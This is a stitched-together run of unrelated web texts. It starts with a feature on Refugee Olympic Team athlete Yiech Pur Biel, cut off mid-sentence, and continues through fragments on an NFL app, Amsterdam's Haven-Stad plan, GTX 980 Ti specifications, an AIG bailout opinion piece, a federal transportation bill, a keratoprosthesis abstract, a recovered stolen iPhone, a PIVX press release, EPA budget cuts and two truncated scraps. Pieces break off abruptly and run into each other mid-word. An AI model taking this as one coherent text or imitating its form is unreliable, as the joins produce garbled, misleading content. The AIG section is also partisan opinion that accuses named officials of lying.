They ran. So goes the first act of a refugee: a scramble for food or clothing, a grab of the nearest helping hand, flight. Were the soldiers coming to take territory? Coming for forced conscripts the way they did two years before, when Yiech Pur Biel’s father ran and never came back? In those first moments it didn’t matter; the soldiers were coming. So Biel and his mother, two sisters and younger brother rushed out of their home, five more drops in the human flood rushing into the scrubby forest outside the town of Nasir, in the northeast of what would soon become South Sudan.
This was 2005. What month? Biel doesn’t remember. What season? He can’t say. He was 10 then, an age when time means little but the loss of home feels like the earth cracking. "When they attacked us," he says, "I saw it was the end of my life with my family."
It got worse. Biel—who would grow up intent on proving, along with the nine other members of the Refugee Olympic Team at the Rio Games, that refugees “are not animals”—then took what is often the next step. He lived like an animal. Hiding in the bush, senses on high alert, no food to be had. For three days his family, sleepless, bellies screaming, foraged for fruit and climbed trees for their bitter leaves.
Finally Biel's mother, Nyagony, made a decision. The border with Ethiopia was only 19 miles away, a week's walk; maybe they could get food there. Biel was the oldest boy. There was no avoiding the cruel calculus: She could handle three children on the road but not four. "You see," Biel says, "if I am 10 years, I can survive without her, maybe."
He tried to understand. His mother placed him with a woman from their neighborhood, gathered his brother and sisters and went. So began the refugee's third, most wrenching act, the separation endured worldwide, in some form, by more than 21 million refugees and another 44 million forcibly displaced people. Biel has not spoken to his mother and siblings since then. He doesn't know if they survived the trek, the soldiers, the years.
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While relating all this in July, during a break at the Tegla Loroupe Training Center in Ngong, Kenya, about 14 miles outside Nairobi, the 21-year-old Biel speaks in a high monotone, his face giving away nothing. He says he cried the day his mother left him, but it wasn't his worst moment. That came after, when he went with the neighbor lady and her two children back to Nasir and found his hometown in ashes. "They burned everything," he says of the soldiers. "There was nothing: The village has gone. They took animals, even killed some. The army go away. All that remained were the dead people."
That's when Biel knew: He was lost. The neighbor lady would be going now, surely, and he was terrified that she, too, would do the math, “turn against me” and leave him behind. “I thought it was my end,” he says. So for the next 24 hours, one full day, the boy waited for his dying to begin.
Jiro Ose
When International Olympic Committee president Thomas Bach announced the 10 members of the first-ever Refugee Olympic Team in June—after a yearlong global vetting by 17 national Olympic committees and the United Nations Refugee Agency and after countless tryouts in Europe and Africa that resembled nothing so much as the hunt for Willy Wonka's golden tickets—he clearly intended the impact to redound far beyond sports. “A symbol of hope to all the refugees in our world,” Bach called the squad. “It is also a signal to the international community that refugees are our fellow human beings and are an enrichment to society.
“These refugees have no home, no team, no flag, no national anthem. We will offer them a home in the Olympic Village together with all the athletes of the world.”
A cynic might call this a stroke of marketing genius. What with endless reports out of Rio about depleted budgets, political collapse, social unrest, the Zika virus and the consequent withdrawal of high-profile athletes; amid striking allegations of systematic doping by traditional powers Russia and Kenya; and after making laughable bets that staging recent Olympics in China and Russia would improve those countries' human rights records, the Olympic brand has taken a savage beating. A bit of humanitarian counterprogramming, smacking of Baron Pierre de Coubertin's ideals, surely couldn't hurt.
"We need to remind [people] that sport is a unique tool to improve society," says Pere Miró, whose IOC title is deputy director general for relations with the Olympic movement. "This is... a kind of hope for some people that can get us back to our roots."
To be fair, Bach had been thinking about pairing the worldwide refugee crisis—the worst since World War II—and the Olympics almost from the moment he took office in September 2013. Tegla Loroupe, the Kenyan marathon legend, had been scouting and training talented South Sudanese refugees for years; Bach spoke to her that fall about expanding the work worldwide, and last September the IOC authorized $2 million in funding for the effort. "I was always wishing that I had somebody to help me," says Loroupe, whose training camp welcomed 30 refugee runners last October. "If it was not for IOC, I couldn't support these athletes."
Meanwhile, the crisis is so great, and the journeys of some athletes have been so harrowing, that the Refugee Team's march into Maracanã Stadium under the Olympic flag during the opening ceremony, just before Brazil's delegation, figures to be irresistible. There will be swimmer Yusra Mardini, 18, of Syria, where a five-year civil war has killed more than 400,000 people and scattered four million refugees across the Middle East and Europe. In the summer of 2015, Mardini, one of Syria's top freestylers, boarded an inflatable dinghy in Izmir, Turkey, bound for the Greek island of Lesbos. When the boat's motor died, she jumped into the Aegean Sea with her older sister, Sarah, and another refugee and kicked for three hours, pushing and pulling the boat to safety. "I hated the sea after that," Yusra said at a news conference in March.
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Land didn't treat her much better. The women trekked and rode trains for 25 days through Greece, Macedonia, Serbia, Hungary (where they were detained in a refugee camp before escaping) and Austria before settling in Berlin. By late autumn Mardini had found a pool and a coach. Her compatriot Rami Anis, 25, a butterflyer, was not far behind.
Shaken by the bombings and kidnappings |
in and out of things without missing any of the game. You hit one button and you go into that snap view, another button and I’m back in full screen.”
The new app will be available in late August, just in time for week three of the preseason. The NFL app and the Next Gen Stats features are free to everyone.The Amsterdam college of mayor and aldermen announced plans for a brand new harbor district that will be built in the coming decades. Haven-Stad will hold between 40 thousand and 70 thousand homes, and enough commercial room to provide around 50 thousand jobs. That combined with new parks and sport fields will turn Haven-Stad into a modern "residential-working" neighborhood, the city said in a press release on Thursday.
"In recent months we worked hard with various partners on the plans for Haven-Stad", responsible alderman Eric van der Burg of Spatial Planning said. "Carefulness and cooperation with the existing companies is crucial in the development of a neighborhood the size of the city of Leiden. It will not be just another neighborhood. Together we're building a neighborhood in an industrial area with a raw edge on the water. That is unique."
Haven-Stad will be a neighborhood with a mixed population combination. The city plans to divide the housing in the new district into 40 percent social housing, 40 percent expensive housing and 20 percent free sector housing.
The goal for Haven-Stad is to have everything within walking or cycling distance. "As a resident you can bring your children to school on foot or by bicycle and you can work around the corner", the city said. The aim is to limit car traffic in the new district on the same ratio as applies to Amsterdam city center - 15 percent allocated to cars, the rest pedestrians, bicycle traffic and public transit. In the coming years the city will investigate which public transit and other transit connections will be necessary to keep the district accessible.
The plans for Haven-Stad was submitted for public consultation earlier this year. After consultation with companies in the port area, among others, the city council decided to continue with the plans.
If all goes well, the first phase of development will start next year, according to the Volkskrant. Around 10 thousand homes will be built around Sloterdijk station. The transformation of the Haven-Stad will only really start gaining steam after 2029 - the city signed a contract with the Amsterdam Port Authority and three large industrial companies in the area which stated that no new homes will be built in a large part of the port area until 2029.The final specifications of NVIDIA’s GeForce GTX 980 Ti have been unveiled by hwbattle, confirming what we have posted so far. The GeForce GTX 980 Ti is going to be the fastest GeForce 900 series card aside from the Titan X which is aimed at the ultra-enthusiast market. The benchmarks of the card have also been leaked that shown performance on par with the Titan X which is quite good considering the 980 Ti comes with cut-down GM200 core.
NVIDIA GeForce GTX 980 Ti Final Specifications and Gaming Benchmarks Unveiled
The NVIDIA GeForce GTX 980 Ti is going to be the fastest GeForce 900 series cards aside from the Titan X which leads the whole Maxwell pack with an insane core count and 12 GB of GDDR5 VRAM. The $999 US price is quite high and not all people can pay that much for a graphics card (even though the Titan X sold more than the Titan *Original* and even the GTX 690 graphics card. Many GeForce gamers have been demanding for a card that is more optimized in terms of price and performance compared to the Titan X. Back with Kepler generation, users got the GeForce GTX 780 Ti which was better in all ways possible than the GTX Titan and just a few bits slower than the Titan Black. The latest GTX 980 Ti which launches next week is going to be a similar solution that will perform similar to the Titan X but has specifications optimized to deliver lower purchase prices.
So specifications, we all need to hear the juicy specifications for this card. The GTX 980 Ti rocks a GM200 core, the specific SKU is codenamed GM200-310 and is a cut down chip that features 2816 cores, 176 texture mapping units and possibly 96 ROPs. There doesn’t seem to be any ROP/TMU feature in affect since the card does perform on same levels as the Titan X which indicate that 96 ROPs remain intact even with the cut down nature of the card in terms of SMMs.
The card features 6 GB of GDDR5 VRAM compared to 12 GB GDDR5 on the Titan X. The 6 GB VRAM is more sensible for a gaming card and the memory runs along a 384-bit bus interface that is clocked at 7 GHz to pump out 336 GB/s bandwidth. The core clock is maintained at 1000 MHz and 1076 MHz boost clock. TAs for design, the card features a 8+6 Pin power connector configuration and has DVI, HDMI, 3x Display ports for display outputs. NVIDIA is using the reference NVTTM Maxwell revision cooler which has a decent package to cool down the card but to be honest, NVIDIA has to change the cooler scheme sooner or later since it is getting a bit boring looking at that design since the past two years. Custom designs will be available and shown off during the launch event at Computex.
NVIDIA GeForce GTX 980 Ti Gaming Benchmarks:
The card launches on 2nd June and HWBattle has also reported in some new gaming benchmarks that show the card on par with the Titan X in both gaming and synthetic benchmarks. One can expect the GTX 980 Ti to overtake the Titan X in benchies once it gets overclocked and with non-reference variants which is the reason we are also looking at non-reference Titan X being prepared by manufacturers. You can see the benchmarks below:
Aside from these benchmarks, Videocardz leaked out the entire reference variant portfolio from ASUS, Gigabyte and MSI. The cards shown in reference will also be available in custom models with heavily customzied coolers and hybrid designs which we will see during Computex next week.
NVIDIA GeForce GTX 980 Ti Block Diagram and GPUz:
NVIDIA GeForce GTX 980 Ti Specifications:
Card NVIDIA GeForce GTX Titan X NVIDIA GeForce GTX 980 Ti NVIDIA GeForce GTX 980 GPU 28nm GM200-400 28nm GM200-310 28nm GM204-400 CUDA Cores 3072 2816 2048 TMUs 192 176 128 ROPs 96 96 64 Core clock 1002 MHz 1000 MHz 1127 MHz Boost Clock 1089 MHz 1076 MHz 1215 MHz Memory Clock 1753 MHz 1753 MHz 1753 MHz Memory Bus 384-bit 384-bit 256-bit Memory 12GB GDDR5 6GB GDDR5 4GB GDDR5 Bandwidth 336 GB/s 336 GB/s 224 GB/s TDP 250W 250W 165W Power Connectors 1x 6pin; 1x 8pin 1x 6pin; 1x 8pin 2x 6pin Display Outputs 1x DVI, 1x HDMI, 3x DP 1x DVI, 1x HDMI, 3x DP 1x DVI, 1x HDMI, 3x DP MSRP $999 US $649 US $549 USWait. So THAT’S what the bailouts were about?
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One of the reasons that no one went to jail for the elite control fraud that caused the financial crisis is because of the pervasiveness of the criminality. You couldn’t send one guy to jail without having that guy very publicly rat out everyone else. To get to a high level on Wall Street you had to be dirty, like in a corrupt police department. No one trusts the one guy who won’t take bribes. Which brings us to Maurice “Hank” Greenberg, the former AIG CEO who is now, for lack of a better word, ratting everyone else out.
AIG, of course, is the massive insurance company which was bailed out by the government, with the Fed taking an 80% ownership stake in 2008. The AIG bailout was a strange deal, and it was renegotiated many times over the years. In a normal clean financial company resolution, AIG shareholders would have gotten wiped out. In the bailouts for Goldman, Morgan Stanley, and most of the big banks, shareholders got to keep their shares. AIG shareholders, by contrast, got to keep a little bit of what they had, a sort of split the baby in half deal. Hank Greenberg, as a shareholder, is extremely angry that he was treated this way. He thinks that he was not given equal treatment to Goldman shareholders, and in that he’s right. Most of us think that he should have been wiped out, and Goldman’s shareholders should have been wiped out too, so there’s little sympathy for this very rich man. But it’s utterly true, and everyone (even the most bank-friendly journalist Andrew Ross Sorkin) is acknowledging that it is true, that the government treated AIG shareholders differently. Greenberg is alleging, with good reason, that the motive here was quite sordid.
To understand the backstory, let’s take a quick look at AIG’s role in the housing bubble. Broadly speaking, AIG sells insurance, and one of its divisions (AIG Financial Products) sold a very specific type of insurance called a credit default swap. If you were a big bank and you owned a mortgage backed security (stuffed into a collateralized debt obligation, or CDO), you could buy a credit default swap against the possibility that the security would default. Then, because you owned this insurance, whatever that security might contain, be it good loans or the most toxic dreck imaginable, it was as good as gold. Default? No problem, AIG had you covered. The problem was that AIG covered everyone in the market (well not everyone, but a lot of the big players especially Goldman) so while the company had a really big balance sheet, it ended up being liable for sums that were larger than the amount of capital the parent company could access. There were other serious problems at AIG, such as its securities lending operation, but those aren’t as relevant to the story. And yes, technically speaking, a credit default swap wasn’t legally considered a type of insurance, it was considered a ‘derivative’. But that was just a legal fiction so that insurance regulators, who would have forced AIG to hold enough money to back its bets, couldn’t touch the company. A credit default swap is insurance.
So anyway, AIG blew up because it guaranteed an entire collapsing market of mortgage-backed securities. The Federal Reserve came in and pumped money into the company, for fear of the whole system collapsing. So why the lawsuit? Seems open and shut. Beyond that, Greenberg wasn’t even the CEO of AIG at the time of the crisis, he had already been dispatched for accounting shenanigans by then-New York Attorney General Eliot Spitzer in an earlier blood feud. The answer is that Greenberg plays hardball, and he’s still a big shareholder in AIG. Beyond that, he was excluded by the government from negotiations during the restructuring of a company he ran for decades, so he has a personal motive in spending his time and money harassing Geithner, Paulson, Bernanke, and company.
There have been a lot of books on the financial crisis, and most of them boiled down to a he said/she said debate over whether the bailouts were necessary, and whether they had to be done the way they were done. Bailout, Too Big to Fail, Bull by the Horns, Stress Test, Econned, On the Brink, In Fed We Trust, The Big Short, House of Cards, Reckless Endangerment, etc… Beyond that a lot of ink and pixels have been spilled to go over the minutia of the narratives, as well as government reports from many different agencies, inspector generals, and special investigators.
That said, there’s still a lot we don’t know about the saga. Sure, Bernanke, Geithner, and Paulson have told their sides of the story, through friendly reporters or through books of their own. But no one has had the chance to cross-examine them, to demand they prove that what they were telling the public was true (my read of Geithner’s book was that his recollection of the bailouts was a long and charming set of lies, but you can draw your own conclusions). But now these men are being put on the stand, and an alternative set of facts is coming to light. We’ve always had alternative theories about what happened during the pressure-filled days of the bailouts, but actual evidence has been based on self-serving portraits from CEOs, regulators, and the reporters who love them. And guesses.
No longer. We have already learned a few interesting facts about AIG (courtesy of Yves Smith). First of all, we learned that AIG didn’t necessarily need to be bailed out by the United States government. There were two and a half offers on the table to recapitalize the insurance company. One came from China, which offered to buy parts of the company. Paulson prevented this from happening. We don’t know why, though it could be due to national security concerns (rumors of AIG being heavily involved with the CIA have always floated around). The second offer came from rich Middle Eastern investors, represented by Senator Hillary Clinton (through her friend Mickey Kantor). This didn’t happen either, and again, we don’t know why. Could be national security. But the third offer suggests otherwise. The New York financial regulator offered to let AIG dip into $20 billion of capital it had in an insurance subsidiary, but Geithner said the company didn’t need it. You heard that right — Geithner turned down an internal recapitalization of AIG. $20 billion wasn’t enough to plug the hole, but it wouldn’t have hurt.
There’s more funky stuff that went on. The board of AIG was never even shown the term sheet for the bailout by the government, and the board only approved it because their lawyer — superlawyer Rodge Cohen —made a dramatic reversal of his legal position. Cohen at first told the board that a bankruptcy was a reasonable option, but a few days later he said that if the board chose bankruptcy rather than the government offer, sight unseen, the board members could be personally liable. At the same time, Cohen was also representing AIG counterparties, and was informally advising the government. Whoa there.
In addition to all this, we’ve learned that the Fed, in doing all of this, was probably breaking the law. First, the New York Fed changed the terms of its offer without authorization from the Board of Governors, which was a no-no. More importantly, the Federal Reserve simply could not do what it was doing, which was to buy shares in AIG and take a controlling interest (even if it stuck the shares in a trust, which was the structure it chose). Here’s Scott Alvarez, the Fed’s attorney, saying that.
This legal jeopardy also explains a lie that Bernanke told about the commercial paper market (which is the mechanism big companies use to borrow money). The week before the bailouts passed Congress, Bernanke explained to Congress that the commercial paper market was freezing up. If they didn’t approve the Troubled Asset Relief Program (TARP), even companies like General Electric would go down. After Congress approved TARP, Bernanke then created a wholly Federal Reserve-concocted facility to back the commercial paper market, thus showing he could protect that market with or without TARP. Why did Bernanke want TARP so badly? Because the Fed needed Treasury to get the authority to buy shares, so Treasury could take the Fed’s illegally held AIG shares off their hands.
In other words, we learned that AIG was bailed out by the Federal Reserve because Paulson, Bernanke and Geithner wanted it bailed out by the Federal Reserve. They exceeded their legal authority to buy AIG for the government, and then lied about it. The $700 billion Troubled Asset Relief Program then bailed them out of this jam.
But why?
Greenberg alleges that their motive was to steal AIG from its shareholders, and then funnel money through AIG to banks like Goldman. There’s compelling evidence this is true; we also learned that banks, even Bank of America and Goldman, were willing to give up some of the money they were owed by AIG as part of their credit default swap payoffs. They would take less than 100 cents on the dollar for counter-party payouts. But Geithner ensured that these banks would get 100 cents on the dollar, as well as legal indemnity. To put it another way, AIG owed these banks a bunch of money, but if it had to pay the banks, it would go bust. But if it didn’t pay the banks, the banks would lose money. The banks were willing to lose a little bit of money, but Geithner said no no, you don’t have to lose any money in the deal at all. The accusation is that Geithner and co. shot AIG in the head, and then let other banks feast on its rotting carcass (liberally spiced with government money). Paulson has actually confirmed this was the goal. Big bank shareholders got bailed out, while AIG shareholders only got partially bailed out, both of course by the public. It was an utterly selective political judgment to choose one set of actors over another set of actors.
What’s really interesting is not just this allegation, but how the New York Fed — run at the time by Tim Geithner — tried to hide it. Here are several examples of New York Fed officials explicitly trying to avoid the Freedom of Information Act, as well as SEC disclosure requirements. (See page 72.)
Eventually Republican Darrell Issa, of all people, got information of who was benefitting from the AIG death rattle (Goldman, Soc Gen, etc), and leaked it. Even so, the ‘AIG as backdoor bailout’ theory was vehemently denied for years, until now. Now it’s being understood, even by people like Hank Paulson, as true. Sorkin, says as much in his piece in Dealbook.
The government never sought to couch A.I.G.’s lifeline as a way to push money into the hands of Goldman Sachs, Deutsche Bank, Société Générale and the dozens of other banks around the world that were the beneficiaries. That idea was never going to win a popularity contest. But that was the effect of the assistance to A.I.G. And that was the point.
Dean Baker shows the significance of this statement, and notes that the idea of AIG as a backdoor bailout “was not something generally conceded in policy circles.”
[This] matters because if everyone understood that the $192 billion injected into AIG was largely about keeping big banks from failing then there might have been more political support for breaking up the big banks and in other ways restricting their conduct. Conceding this point now that the debate over financial reform is largely in the past seems more than a bit dishonest.
In other words, Greenberg’s case is revealing that the bailouts were done selectively, and there was an attempt to cover up what happened. The Federal Reserve and the Treasury ended up treating Goldman/JP Morgan/Citigroup shareholders and employees exceptionally well, AIG shareholders less well, and the public like irrelevant peasants. Greenberg is right to complain about the unequal treatment. Of course he doesn’t deserve any money himself, because AIG really was insolvent, and he was treated better than he should have been. If the judge could dispense justice, the judge would rule in Greenberg’s favor, and then simply take away the money that big bank shareholders got to keep, claw back bank bonuses, and then also confiscate the rest of Greenberg’s assets held in AIG stock. That would be equal treatment for all citizens. Of course the judge can’t do that. The best he can do is let the trial move forward, and show the public what really happened.
There is an attempt to make this whole episode go away, to say that the government’s decisions at the time, though perhaps illegal and perhaps unfairly favoring a set of actors over another, were necessary. And besides, the bailouts made money. And none of this is news, anyway, so what are you whining about?
This narrative is fundamentally dishonest. Opponents of the bailouts said a lot of things at the time about the motives of the people in charge. It turns out that bailout opponents were largely correct, and the bailout apologists were lying and/or wrong. Increasingly, the public, judges, and politicians will recognize that the way the corrupt manner in which bailouts were done turned property rights into an explicit reflection of arbitrarily exercised political power.
Once it is broadly recognized that property rights in the post-bailout era truly are such an arbitrary exercise of political power, then a lot of things become possible. I believe in property rights; they are an important part of a just society and a mechanism to protect people from tyrannical public power (as long as they are enforced equally and with an understanding that they must also be balanced against other questions of justice, such as the threat of private monopolies to our freedoms). But because of these bailouts, no one can with a straight face claim we live in a culture that enforces property rights as a mechanism to protect individual liberties. And I’m not sure the bailout proponents are going to like where that leads.Senator Mike Lee (R-Utah) and Congressman Tom Graves (R-Georgia) have introduced a bill to eliminate federal involvement in transportation policy, which would spell disaster for funding that supports transit, biking, and walking. A largely symbolic vote in favor of “devolution” will allow Republican members of Congress to demonstrate their conservative bona fides.
The Transportation Empowerment Act (TEA) is sponsored by 21 lawmakers, all Republicans. The Hill reports that the arch-conservative Heritage Action group will be scoring lawmakers on how they vote. The bill would reduce the federal gas tax from 18.4 cents per gallon to 3.7 cents over five years and turn all spending decisions over to state governments.
Heritage Foundation writer Emily Goff, in her report on TEA, specifically notes that the bill would decimate dedicated funds for transit, biking, and walking projects. Heritage sees that as a big plus:
Under the current highway bill, Moving Ahead for Progress in the 21st Century, at least 25 percent of authorized funding for FY 2013 was diverted to non-general purpose roads and bridges. Transit, the largest diversion, received $8.5 billion, or 17 percent, of authorized funds. Other diversions include $809 million authorized for the transportation alternatives program (TAP), which pays for bicycle and nature paths, sidewalks, and community preservation activities, none of which reduce congestion or improve mobility for the motorists paying for them
Heritage remains oddly silent on the massive subsidies that pay for roads. Nor do they seem to notice the enormous, wasteful boondoggles perpetuated routinely by states.
And Heritage doesn’t seem convinced that making transportation systems more efficient in the nation’s economic hubs, lowering the death toll from nearly 34,000 traffic fatalities per year, and reducing dependence on fossil fuels are in the national interest. Your state might not lie along a major freight corridor, but freight bottlenecks and delays cost all of us.
Conservative lawmakers have been trying unsuccessfully to enact devolution since the mid-1990s. But House Transportation Committee Chair Bill Shuster (R-Pennsylvania) has made it his mission to persuade even the most conservative of Republicans that the founding fathers and free-market thinkers including Adam Smith intended a strong federal role in transportation — and he intends to keep it that way.
This story originally ran on Streetsblog. Angie Schmitt is a newspaper reporter-turned planner/advocate who manages the Streetsblog Network from glamorous Cleveland, Ohio. She also writes about urban issues particular to the industrial Midwest at Rustwire.com.Osteo-odonto-keratoprostheses (OOKP) is a unique form of keratoprosthesis involving surgical removal of a tooth root and surrounding bone from the patient which are then used to construct an osteo-odonto lamina into which an optical cylinder is cemented. The OOKP procedure is successful and capable of withstanding the very hostile ocular environments found in severe Stevens–Johnson syndrome, pemphigoid, chemical burns, trachoma and multiple corneal graft failure. The existing procedure is complex and time consuming in terms of operative time, and additionally involves sacrifice of the oral structures. This paper discusses the rational search for a “synthetic” analogue of the dental lamina, capable of mimicking those features of the natural system that are responsible for the success of OOKP. In this study the degradation of selected commercial and natural bioceramics was tested in vitro using a purpose-designed resorption assay. Degradation rate was compared with tooth and bone, which are currently used in OOKP lamina. At normal physiological pH the degradation of bioceramics was equivalent to tooth and bone; however, at pH 6.5–5.0, associated with infectious and inflamed tissues, the bioceramics degrade more rapidly. At lower pH the degradation rate decreased in the following order: calcium carbonate corals > biphasic calcium phosphates > hydroxyapatite. Porosity did not significantly influence these degradation rates. Such degradation is likely to compromise the stability and viability of the synthetic OOKP. Consequently more chemically stable materials are required that are optimized for the surrounding ocular environment."It was just like a normal Saturday and I had my phone underneath the till where everyone else leaves their phone," Ms Kitson said. Emily, 19, with her recently recovered iPhone 4. During the day she served a man she described as being in his 30s or 40s who "distracted both of the staff and paid for his lollies and left". Immediately after serving him, though, another man came up to Ms Kitson, she said, and told her that he saw the man she just served steal her phone. "I checked and... it was gone, so I went and got the security guard and they sort of chased after him." After waiting about an hour, Ms Kitson said she was told by security that the man who stole her phone had got away in a taxi but that they had imagery on CCTV footage of him stealing it.
Tracking app discovered Following the iPhone theft, Ms Kitson said she called Josh, who remembered installing "Google Latitude" on to her phone, a location-aware app that lets authorised friends track where someone's phone is. The app uses GPS, wi-fi and mobile phone towers to determine a phone's location. Luckily for Ms Kitson, Josh was an authorised friend. "I completely forgot about it," she said. After realising the app was installed, Ms Kitson said Josh told her he had tracked the phone "to a place about a kilometre from the shopping centre". The location was constantly updating. With CCTV footage available for police to obtain from Broadmeadows Shopping Centre and the Google Latitude app pinpointing the phone to a suburban house, Emily and her partner believed they had some hope in retrieving it with the help of police.
Police involvement
But Ms Kitson said the police officer she and Josh spoke to at Broadmeadows police station was unhelpful to deal with. "I told them everything that I had, I gave them a description, I said that we had tracked [the thief] to an address and that it was still updating and that I had him on video doing it," Ms Kitson said. But the police officer she spoke to "wasn't very nice", she said. "He didn't seem to be very interested in what we were saying. I don't know if it was because we were young. [But] he sort of gave me the impression that I was lying [and] he said that [he didn't] understand how something like [this could] happen." Despite this, Ms Kitson said the officer wrote down the information she gave him on a notebook and said that he would send a report to her by Tuesday.
"I was a bit disheartened considering how much we had," she said. "I figured [the information I gave them] would be enough for them to actually do something. I didn't think that I would get my phone back - but at the very least maybe the [thief] would get charged because I heard from people within the shopping centre that he was the common person there that stole a lot of stuff." Case chased up Josh "was pretty upset" about the officer's effort, Ms Kitson said. "So he sort of just started chasing it up and ringing up and seeing if it had been reported." In doing so, she said he "found out that the guy that I had spoken to at the police station had gone on... leave and hadn't even reported the incident". "It wasn't even reported yet, which was the very least that we would expect," Ms Kitson claimed, which led her partner to continue to call police, checking up on the case.
"He just kept talking to people and they just kept stuffing him about and saying 'You're just going to have to wait it out,'" she said. What made it worse for the pair was that the phone was not insured. Ms Kitson understood there were "more important crimes out there" than a stolen iPhone but believed that with the information she had the case could be closed fairly quickly. "All the time that this was happening... the phone was updating the address. And that was horrible because I could see that [a] person had my phone but there was nothing that I could do about it. "I wasn't about to go to their address and say 'Give me back my phone.'"
The phone had even made its way to a nearby Catholic girls' school, Josh said. Police complaint made After dealing with police for a number of days, Josh took the case to the Victoria Police Conduct Unit. "The police were not helping us at all," Ms Kitson said. After her partner communicated with the unit a number of times, the officer who the couple first dealt with told Josh he had sent a "squad car" to the address where the Google software had located the phone, only to find the address did not exist, Ms Kitson said. "So Josh went on Google Maps and printed out pictures of the house. He found a real-estate listing of it to prove that it was a real house. I don't know what [the police] were looking at."
They then went to the police station to explain how the Google Latitude software worked and officers were given several photos Josh had of locations to which the phone had been tracked. "We were taking screenshots every time it updated," Ms Kitson said. iPhone found Ten days after the phone was stolen, Josh received a call he wasn't expecting. "One morning we had a call saying that [the police] had gone to [a] house at 12 o'clock at night and gotten my phone," Ms Kitson said. "Apparently it was a 14-year-old girl who had it."
Ms Kitson said the police informed her the girl had bought the phone for about $80 from a man who they believed stole it from the shop. The man had apparently taken the iPhone directly to the girl after he stole it, Ms Kitson said police told her. She described how the girl had left a number of text messages on the phone that indicated the girl knew the phone had been stolen. An online instant messenger program - MSN - was also left signed in. "I was very shocked that I got my phone back; I wasn't expecting it at all." Now Ms Kitson has the girl's phone number saved in her contacts under "Idiot Who Bought A Stolen iPhone". The number was made available to Ms Kitson as the girl had sent messages to her friends with the new number she presumably got from buying a new SIM card for the iPhone to work.
"They left messages on there, texting everyone saying they got a new phone but 'I can't tell you where from'." Ms Kitson said she read many of the messages on the phone, as it was her property, but "didn't do anything mean - though I probably could have". There were also a number of new purchased apps on the phone. Victoria Police statement Victoria Police said it did not immediately investigate the matter due to a staff member being ill and incorrect information provided by Emily. Four days after the initial complaint police said officers went to the address provided as the location of the phone but the address did not exist.
“The investigator was able to determine the correct address, a search warrant was applied for and this was then executed on 30 May resulting in the recovery of the phone,” a Victoria Police spokeswoman said. Police said the investigation was ongoing and a person had been interviewed and released without charge. The spokeswoman said the Ethical Standards Department was aware of the victim’s concerns over the timeliness of the police response but defended the officers’ actions. They needed to take account for competing priorities and also had to wait for warrants to be granted. “Victoria Police is satisfied this matter was investigated thoroughly and, within the competing context of policing priorites, a good result was achieved,” the spokeswoman said. Tracking software and gadgets Victoria Police successfully used tracking software and a helicopter last December to locate a boy who allegedly stole a woman's iPhone from a hospital in Melbourne's north-east.NEW KIDS ON THE BLOCKCHAIN: PIVX cryptocurrency accepted into the ALPHA STARTUP Program at WEB SUMMIT 2017
November 2, 2017 (LISBON, Portugal) – Cryptocurrency PIVX (Private Instant Verified Transaction) has been selected to represent among the best in the (financial) technology world at Web Summit 2017 and will be exhibiting at stand number A712 in the Fintech Exhibition Area on Wednesday, November 8. While at the conference, taking place November 6 to 9 in Lisbon, the PIVX team plan to connect with several security and tech companies including an introduction to the US embassy in Portugal.
“Cryptocurrencies are gaining mass appeal with individuals and companies looking for a more efficient, private and cost-effective way to send and receive funds,” said Bryan Doreian, PIVX Community Sherpa and marketing team member. “Our technology is opening doors that will reevaluate the way businesses are designed, operate and function.”
One of the newest alternative coins on the market, PIVX has seen a 69,500% increase from their lowest point to all-time-high; an increase from 0.006 cents USD to $4.17 USD in a record-breaking 8 months. This year, they are making crypto history as the first Proof of Stake digital currency to successfully implement Zerocoin, a well-known, highly-vetted privacy protocol that allows blockchain-level transaction anonymity by unhinging user identity from the asset transaction. The combination of transaction privacy with their efficient distributed consensus algorithm (Proof of Stake) makes it one of the top Privacy coins in the market.
“We’re honored to be a part of this monumental conference,” said Doreian. “We’ll be available to chat with anyone who is curious about this emerging industry, and explain some of the features and benefits of PIVX.”
PIVX’s aim is to become the most up to date and technically advanced Proof of Stake cryptocurrency used worldwide; fast, secure, decentralized and private.
Also leading in innovation is their unique governance systems; by enlisting community members to create a system of governance and security. PIVX is moving away from the centralized method of traditional cryptos to a more cooperative structure, which helps cultivates a mindset of altruistic incentive and the greater good.
“Where other coins fall short is they simply swap out a government with an oligarchy,” said Doreian. “Our goal is to maintain the ideals that Bitcoin founder, Satoshi Nakamoto, originally had in mind; this means giving power back to the people; for them to possess and manage their own money.”
Today PIVX sits at an average market capitalization of $200M and gaining momentum daily. Averaging 1.5-2 million per day in volume, it is now used in over 174 countries, with over 9000 members and a website to be translated into over 28 languages by 2018. They see community and accessibility as key to their growth.
Like this: Like Loading...House Republicans unveiled legislation Monday that dramatically cuts funding for the Environmental Protection Agency and various arts and wildlife programs.
The draft legislation (PDF), which will face committee hearings starting Tuesday, slashes the fiscal 2014 budget for the Interior Department and for the EPA by $5.5 billion from existing levels enacted for 2013 — a 19 percent cut that brings base funding down to $24.3 billion. It’s $4 billion below levels already required by sequestration — automatic spending cuts that both parties say are senseless and onerous.
House Appropriations Chairman Hal Rogers (R-KY) said the bill “reflects the extraordinarily hard choices needed to maintain critical investments and services for local communities,” while “dramatically scaling back lower-priority, or ‘nice-to-have’ programs.”The proposal reflects the GOP’s opening salvo in what is shaping up to be an ugly battle to keep the government open when funding expires on September 30. Republicans are demanding a swath of new cuts to domestic programs, in part to protect the military budget from long-term spending reductions that the two sides agreed to in 2011.
Under the GOP’s draft spending bill, the EPA in particular takes a huge blow: its budget is cut by a whopping 34 percent, or $2.8 billion, bringing the new level to $5.5 billion. Other programs that take a hit include the National Park Service (9 percent cut), the Fish and Wildlife Service (27 percent cut) and the U.S. Geological Survey (9 percent cut).
Meanwhile, the bill increases funding to combat wildfires — which have ravaged parts of the country — by 16 percent, or $559 million more than the 2013 level.
“In addition,” Rogers said, defending the enormous cuts to the EPA, “by holding back overly zealous and unnecessary environmental regulations, this bill can have a positive effect on our economy and will help encourage job growth.”
The Smithsonian Institution and National Gallery of Art each face a 19 percent cut, while the National Endowments for the Arts and Humanities are cut by nearly half (or $71 million).
The draft proposal is set to be considered Tuesday by the Appropriations Subcommittee on Interior and Environment before it faces a full committee hearing. Democrats say the cuts are unacceptable and are gearing up to make the case against them.
Interior Subcommittee Chairman Mike Simpson (R-ID) hinted that Republicans will continue pushing for massive domestic cuts until Congress tackles “mandatory spending,” which includes safety-net programs like Social Security and Medicare.
House GOP Interior/Environment Draft Appropriations BillModel Number: ZX- |
body, the particle-containing capsule resists the major gastric enzyme to remain intact while in the stomach, providing protection for the encapsulated drug. In the small intestine, the capsule begins to swell with the increase in pH and is then degraded by the major intestinal enzyme, slowly releasing the drug over time.
